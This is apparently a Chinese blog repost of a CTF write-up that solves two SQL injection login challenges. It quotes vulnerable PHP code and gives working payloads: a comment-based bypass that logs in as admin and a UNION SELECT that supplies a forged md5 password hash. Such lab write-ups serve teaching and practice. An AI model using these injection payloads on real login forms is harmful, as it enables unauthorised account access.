博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
CG-CTF SQL注入
阅读量:4983 次
发布时间:2019-06-12

本文共 3154 字,大约阅读时间需要 10 分钟。

SQL注入1

题目

15605755361556.jpg

访问题目网址

15605756298441.jpg

先查看一下源码

15605756914304.jpg

仔细分析一下核心源码

'.$sql; //回显查找语句 $query = mysql_fetch_array(mysql_query($sql)); //使用构造的查询语句查询数据库并返回结果集 if($query[user]=="admin") { echo "

Logged in! flag:********************

"; } if($query[user] != "admin") { echo("

You are not admin!

"); } //判断结果集中的user参数对应的值是不是admin,如果是返回flag,不是则返回 You are not admin!}echo $query[user]; //回显查询到的user值?>

通过分析源码知道了user的值为admin,因为sql查询语句里有and,必须and前后同时成立才可以查询,但是现在不知道pass对应的值,所以考虑能不能不判断pass,直接判断user,于是想到是不是可以将user判断语句闭合并注释后面的内容,这样就不会对pass进行判断,pass就直接输入111,于是构造下面的语句。

15605774891410.jpg
这样的话查询语句就变成了

select user from ctf where (user='admin') #') and (pw='111')

尝试提交看看会不会返回flag。

15605783011325.jpg
成功拿到flag


补充:Mysql的注释语句有三种

1./* */

注释一段内容,这里明显不适用。

2.--

注释-- 后的语句直到行尾,注意这里的--后面要有一个空格,但是题目中使用了trim()函数去除空格,所以也不适用。

3.#

注释#后的语句直到行尾。

SQL注入2

题目

15605824628676.jpg

访问题目网址

15605825721507.jpg

还是先查看一下源码

15605833271628.jpg

分析核心源码

Logged in! Key: ntcf{**************}

"; } else { echo("

Log in failure!

"); }}?>

找到最关键的语句

if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {      echo "

Logged in! Key: ntcf{**************}

"; } else { echo("

Log in failure!

"); }

解题思路:

1.可以看到这里只对密码进行了对比,没有进行user的对比,所以应该考虑怎么使得$query[pw]存在且strcasecmp($pass, $query[pw]))为假。

2.$query[pw]是MySQL查询结果集中的值,只要MySQL语句返回值即可存在。

要使strcasecmp($pass, $query[pw])为假,就要使得$pass的值小于等于$query[pw](比较ASCII码)。$pass是我们输入值的md5值,$query[pw]是数据库中的正确密码。因为$pass是md5值,32位,而$query[pw]不知道,所以看看能不能将$query[pw]的值构造成我们需要的32位,且大于$pass的值,根据题目的提示,考察union联合查询,尝试构造如下语句:

select pw from ctf where user=''union select md5(2)#'

这个语句的输出因为闭合了user,user为空,查不到任何值,而后面select md5(2),则会返回2的md5值,所以返回的结果会变成下面这样:

+----------------------------------+| pw                               |+----------------------------------+| c81e728d9d4c2f636f067f89cc14862c |+----------------------------------+

这样从$query[pw]查询到的值就会变成2的md5值,这时我密码输入2,这样经过strcasecmp()函数的对比会返回0,达到目的。

15605875962836.jpg
15605876277562.jpg
成功拿到flag


补充:

1.strcasecmp(str1,str2)函数

strcasecmp(str1,str2)函数返回的结果是比较两个字符串的ASCII码,从第一位开始,相等就比较下一位,如果比较过程中,一旦出现str1的某一个字符的ASCII码和str2的不等,那么将返回这两个字符的ASCII码值之差。

15605881881011.jpg

2.union联合查询

当使用union联合查询时,前一个select查询的列名将会作为输出结果的列名,后一个select只会返回查询列的内容,而没有列名。

union前后查询列名一致

mysql> select * from t2;+----+-------+| id | score |+----+-------+|  1 |    33 |+----+-------+1 row in set (0.00 sec)mysql> select * from t5;+-----------+---------+------+| user      | pw      | id   |+-----------+---------+------+| admin     | 000000  | NULL || admin2    | 1000000 | NULL || gubeiqing | gu      |   10 |+-----------+---------+------+3 rows in set (0.00 sec)mysql> select id from t2 union select id from t5;+------+| id   |+------+|    1 || NULL ||   10 |+------+3 rows in set (0.00 sec)

union前后查询列名不一致

mysql> select * from t2;+----+-------+| id | score |+----+-------+|  1 |    33 |+----+-------+1 row in set (0.00 sec)mysql> select * from t5;+-----------+---------+------+| user      | pw      | id   |+-----------+---------+------+| admin     | 000000  | NULL || admin2    | 1000000 | NULL || gubeiqing | gu      |   10 |+-----------+---------+------+3 rows in set (0.00 sec)mysql> select id from t2 union select pw from t5;+---------+| id      |+---------+| 1       || 000000  || 1000000 || gu      |+---------+4 rows in set (0.00 sec)

转载于:https://www.cnblogs.com/Timesi/p/11249845.html

你可能感兴趣的文章
传入class、id name 的函数封装
查看>>
软工网络15团队作业3——需求分析与设计
查看>>
python 类对象和实例对象动态添加方法
查看>>
【转】C#生成验证码
查看>>
Linux环境下JDK/Eclipse一键安装脚本
查看>>
HwUI,CMS管理系统模板,漂亮,简单,兼容好
查看>>
特意给我的轩写的小知识
查看>>
LibreOJ #2003. 「SDOI2017」新生舞会
查看>>
sublime text there are no packages available for installation 解决办法
查看>>
Piston Pump Manufacturers - Mobile Cartridge Piston Pump: Advantages
查看>>
我喜欢的几款不错的vim插件
查看>>
eclipse在ubuntu13.04下崩溃crash
查看>>
wpf 右键ListBox可编辑
查看>>
hihocoder offer收割编程练习赛11 C 岛屿3
查看>>
maven+springmvc项目启动时,request mapping not found……
查看>>
提高JetBrains软件的性能
查看>>
ASP.NET:MVC中文件上传与地址变化处理
查看>>
Python 单向链表、双向链表
查看>>
Arrays, Hashtables and Dictionaries
查看>>
JAVA1种C++3种继承方式
查看>>